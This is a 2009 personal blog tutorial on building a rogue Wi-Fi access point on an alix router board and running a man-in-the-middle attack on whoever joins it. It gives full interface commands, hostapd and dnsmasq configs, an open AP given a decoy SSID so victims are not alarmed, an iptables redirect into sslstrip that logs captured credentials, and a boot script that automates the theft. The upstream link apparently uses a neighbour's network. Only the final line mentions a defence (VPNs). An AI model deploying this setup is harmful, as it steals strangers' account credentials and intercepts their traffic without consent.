Sunday, July 26, 2009

A very rogue access point: MITM is BACK !

My alix3d3 is becoming little by little a nice Wifi powered router/access point. Previously, we have seen how to make an access point from it. Now, we will see how to make a home router and even more.

For our experiment, I will use an AR5413 based card (ath_pci module). The network infrastructure looks the following:



Basically, we have the physical interface (wifi0) and on the top of that, we create 3 different virtual interfaces:
  1. ath0: an encrypted interface, we use for example wpa2.
  2. ath1: an open interface on which everybody will be able to connect. On this one we will perform a "Man-in-the-middle" attack.
  3. ath2: is our interface that is in "managed" mode, and will be the one that will provide Internet. It could be an ethernet interface.


Now that we have in mind the network map, we can start working. we will separate the work in different steps:
  1. Create the virtual interfaces
  2. create the access points with hostapd
  3. Provide internet
  4. Set the man in the middle
  5. automate this for the next reboot.

The first step is to create the 3 different interfaces:


wlanconfig ath0 destroy; wlanconfig ath0 create wlandev wifi0 wlanmode ap; ifconfig ath0 192.168.100.1 netmask 255.255.255.0
wlanconfig ath1 destroy; wlanconfig ath1 create wlandev wifi0 wlanmode ap; ifconfig ath1 192.168.101.1 netmask 255.255.255.0
wlanconfig ath2 destroy; wlanconfig ath2 create wlandev wifi0 wlanmode managed; ifconfig ath2 up


The output sould be something like:

> ifconfig

ath0 Link encap:Ethernet HWaddr 0E:FC:CB:2D:54:1A
inet addr:192.168.100.1 Bcast:192.168.100.255 Mask:255.255.255.0
inet6 addr: fe80::4c0:caff:fe1f:442b/64 Scope:Link
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:0 errors:0 dropped:0 overruns:0 frame:0
TX packets:0 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:0
RX bytes:0 (0.0 b) TX bytes:0 (0.0 b)

ath1 Link encap:Ethernet HWaddr 0E:FC:CB:2D:54:1A
inet addr:192.168.101.1 Bcast:192.168.101.255 Mask:255.255.255.0
inet6 addr: fe80::8c0:caff:fe1f:442b/64 Scope:Link
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:0 errors:0 dropped:0 overruns:0 frame:0
TX packets:0 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:0
RX bytes:0 (0.0 b) TX bytes:0 (0.0 b)

ath2 Link encap:Ethernet HWaddr 0E:FC:CB:2D:54:1A
inet6 addr: fe80::cc0:caff:fe1f:442b/64 Scope:Link
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:0 errors:0 dropped:0 overruns:0 frame:0
TX packets:0 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:0
RX bytes:0 (0.0 b) TX bytes:0 (0.0 b)

> iwconfig

ath0 IEEE 802.11g ESSID:"" Nickname:""
Mode:Master Frequency:2.462 GHz Access Point: Not-Associated
Bit Rate:0 kb/s Tx-Power:18 dBm Sensitivity=1/1
Retry:off RTS thr:off Fragment thr:off
Encryption key:off
Power Management:off
Link Quality=0/70 Signal level=-83 dBm Noise level=-83 dBm
Rx invalid nwid:0 Rx invalid crypt:0 Rx invalid frag:0
Tx excessive retries:0 Invalid misc:0 Missed beacon:0

ath1 IEEE 802.11g ESSID:"" Nickname:""
Mode:Master Channel:0 Access Point: Not-Associated
Bit Rate:0 kb/s Tx-Power:18 dBm Sensitivity=1/1
Retry:off RTS thr:off Fragment thr:off
Encryption key:off
Power Management:off
Link Quality=0/70 Signal level=-83 dBm Noise level=-83 dBm
Rx invalid nwid:0 Rx invalid crypt:0 Rx invalid frag:0
Tx excessive retries:0 Invalid misc:0 Missed beacon:0

ath2 IEEE 802.11g ESSID:"" Nickname:""
Mode:Managed Channel:0 Access Point: Not-Associated
Bit Rate:0 kb/s Tx-Power:18 dBm Sensitivity=1/1
Retry:off RTS thr:off Fragment thr:off
Encryption key:off
Power Management:off
Link Quality=0/70 Signal level=-83 dBm Noise level=-83 dBm
Rx invalid nwid:9 Rx invalid crypt:0 Rx invalid frag:0
Tx excessive retries:0 Invalid misc:0 Missed beacon:0


If you set an ESSID for the interface ath0 and ath1, you will be able to connect right away. However, we want to add some security to ath0. For this, we will use hostapd. We will write two different hostapd.conf files, one for each ap (ath0 and ath1).

Here is the output for the open access point, I did not change from the default settings.


interface=ath1 ****
driver=madwifi ****
logger_syslog=1
logger_syslog_level=1
logger_stdout=1
logger_stdout_level=1
dump_file=/tmp/hostapd.dump
ctrl_interface=/var/run/hostapd
ctrl_interface_group=0
ssid=NETGEAR-211 ****
hw_mode=g ****
channel=1 ****
beacon_int=300 ****
dtim_period=2
max_num_sta=5
rts_threshold=2347
fragm_threshold=2346
acaddr_acl=0
auth_algs=3
ignore_broadcast_ssid=0
wme_enabled=1
wme_ac_bk_cwmin=4
wme_ac_bk_cwmax=10
wme_ac_bk_aifs=7
wme_ac_bk_txop_limit=0
wme_ac_bk_acm=0
wme_ac_be_aifs=3
wme_ac_be_cwmin=4
wme_ac_be_cwmax=10
wme_ac_be_txop_limit=0
wme_ac_be_acm=0
wme_ac_vi_aifs=2
wme_ac_vi_cwmin=3
wme_ac_vi_cwmax=4
wme_ac_vi_txop_limit=94
wme_ac_vi_acm=0
wme_ac_vo_aifs=2
wme_ac_vo_cwmin=2
wme_ac_vo_cwmax=3
wme_ac_vo_txop_limit=47
wme_ac_vo_acm=0
eapol_key_index_workaround=0
eap_server=0
own_ip_addr=127.0.0.1

I added an arrow where the default parameters must be changed. One might wonder "why are we setting such an ESSID "NETGEAR-211" ?" The reason is that if you put something like "free_wifi", it might alarm the person who wants to connect (free wifi ? Why ? sounds weird), whereas NETGEAR is the default essid for netgear ap's. I added a "-211" to know that it is mine.

For the other access point, we do almost the same, but this time with wpa enabled:

interface=ath0
driver=madwifi
logger_syslog=-1
logger_syslog_level=2
logger_stdout=-1
logger_stdout_level=2
dump_file=/tmp/hostapd.dump
ctrl_interface=/var/run/hostapd
ctrl_interface_group=0
ssid=blabla *****
hw_mode=g
channel=1
beacon_int=300
dtim_period=2
max_num_sta=255
rts_threshold=2347
fragm_threshold=2346
macaddr_acl=0
auth_algs=3
ignore_broadcast_ssid=0
wme_enabled=1
wme_ac_bk_cwmin=4
wme_ac_bk_cwmax=10
wme_ac_bk_aifs=7
wme_ac_bk_txop_limit=0
wme_ac_bk_acm=0
wme_ac_be_aifs=3
wme_ac_be_cwmin=4
wme_ac_be_cwmax=10
wme_ac_be_txop_limit=0
wme_ac_be_acm=0
wme_ac_vi_aifs=2
wme_ac_vi_cwmin=3
wme_ac_vi_cwmax=4
wme_ac_vi_txop_limit=94
wme_ac_vi_acm=0
wme_ac_vo_aifs=2
wme_ac_vo_cwmin=2
wme_ac_vo_cwmax=3
wme_ac_vo_txop_limit=47
wme_ac_vo_acm=0
eapol_key_index_workaround=0
eap_server=0
own_ip_addr=127.0.0.1
wpa=1
wpa_passphrase=yeahthisisagoodpass ******
wpa_key_mgmt=WPA-PSK
wpa_pairwise=TKIP CCMP

Now we can lauch our two instances of hostapd:

hostapd -B /etc/hostapd/hostapd.conf
hostapd -B /etc/hostapd/hostapd_freewifi.conf

You should now be able to connect to the each of these aps, using static IP addresses.

To get internet, we should still configure ath2 to forward the packets:

iwconfig ath2 essid voisin key 78:02:15:20:23
dhcpcd ath2
[...]
echo 1 > /proc/sys/net/ipv4/ip_forward
iptables -t nat -A POSTROUTING -o ath2 -j MASQUERADE

Now you should be able to have internet by connecting on ath0 and ath1. Good :)

We want our victims to connect on our AP extremely easily, hence we need at least a dhcp server to give them an IP address. For this, I chose "dnsmasq", because it is very easy to configure. In the same time, we will provide a DNS cache to boost our dns requests.


# cat /etc/dnsmasq.conf
listen-address=192.168.100.1,192.168.101.1,127.0.0.1
dhcp-range=192.168.100.50,192.168.100.150,255.255.255.0,12h
dhcp-range=192.168.101.50,192.168.101.150,255.255.255.0,12h
log-dhcp

You can see what is happening in /var/log/message when someone does a DHCP request. Note that we provide no interface in here, in order to respond to all the dhcp request comming on the different interfaces. Thus, even ath0 will profit of the DHCP server.

/etc/rc.d/dnsmasq start


At this point, we have two working APs providing internet. We want not to do some devil stuff, by stealing people's accounts in a very discrete fashion. I thought for a while about which was the best way to do this. A long time ago, I was using ettercap, but for the router, it is not very a good choice. Then I was wondering if dsniff suite could do the job. It does, but I was not really convinced. You know, when you connect to a website requiring a ssl certificate, if you are using ettercap, you will get some huge WARNING all the way around. This is not what I call "discrete".

Anyways, after few minutes, I found a tool called sslstrip. This tool has been presented at blackhat last year and does a pretty good job. I let you see on their website how it works for more info. To make it work, it is damn easy:

iptables -i ath1 -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 10000
sslstrip -p -f -w ./verycool.txt

Note that iptables is acting on ath1. Now if you try to connect on the open AP, guess what happens ? I was surprised to see how well it works. The drawback is that it slows down a bit the connection.

Now, we don't want to redo this every time the alix reboots. I modified the /etc/rc.d/hostapd into /etc/rc.d/hostapd_mod:

> less /etc/init.d/hostapd_mod
#!/bin/bash

. /etc/rc.conf
. /etc/rc.d/functions

case "$1" in
start)
stat_busy "Destroying and creating ath0"
wlanconfig ath0 destroy; wlanconfig ath0 create wlandev wifi0 wlanmode ap; ifconfig ath0 192.168.100.1 netmask 255.255.255.0
stat_busy "Destroying and creating ath1"
wlanconfig ath1 destroy; wlanconfig ath1 create wlandev wifi0 wlanmode ap; ifconfig ath1 192.168.101.1 netmask 255.255.255.0
stat_busy "Starting hostapd"
sleep 1
/usr/bin/hostapd -B -P /var/run/hostapd.pid /etc/hostapd/hostapd.conf &> /dev/null
/usr/bin/hostapd -B -P /var/run/hostapd.pid2 /etc/hostapd/hostapd_freewifi.conf &> /dev/null
stat_busy "Starting sslstrip"
iptables -i ath1 -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 10000
stat_busy "Destroying and creating ath2"
wlanconfig ath2 destroy; wlanconfig ath2 create wlandev wifi0 wlanmode managed;
iptables -t nat -A POSTROUTING -o ath2 -j MASQUERADE
sslstrip -p -f -w /home/root/cool_stuff-`date +"%H-%M-%m-%d"`.txt &
if [ $? -gt 0 ]; then
stat_fail
else
stat_done
add_daemon hostapd
fi
;;
stop)
stat_busy "Stopping hostapd"
[ -f /var/run/hostapd.pid ] && kill `cat /var/run/hostapd.pid` && kill `cat /var/run/hostapd.pid2` && killall sslstrip &> /dev/null
if [ $? -gt 0 ]; then
stat_fail
else
stat_done
rm_daemon hostapd
fi
;;
restart)
$0 stop
sleep 1
$0 start
;;
*)
echo "usage: $0 {start|stop|restart}"
esac

This is probably not the cleanest way to do, but it works pretty well. However, ath2 does not connect to the AP here (manually for now).

/etc/rc.conf has the following:


DAEMONS=(network sshd crond dnsmasq hostapd_mod)

lo="lo 127.0.0.1"
eth0="eth0 192.168.2.3 netmask 255.255.255.0 up"
ath0="ath0 192.168.101.1 netmask 255.255.255.0 up"
ath1="ath1 192.168.100.1 netmask 255.255.255.0 up"
ath1="ath1 up"
INTERFACES=(eth0 ath0 ath1 ath2)


Obviously, an easy way to circumvent this MITM is to use a VPN for example or an encrypted connexion.

No comments:

Post a Comment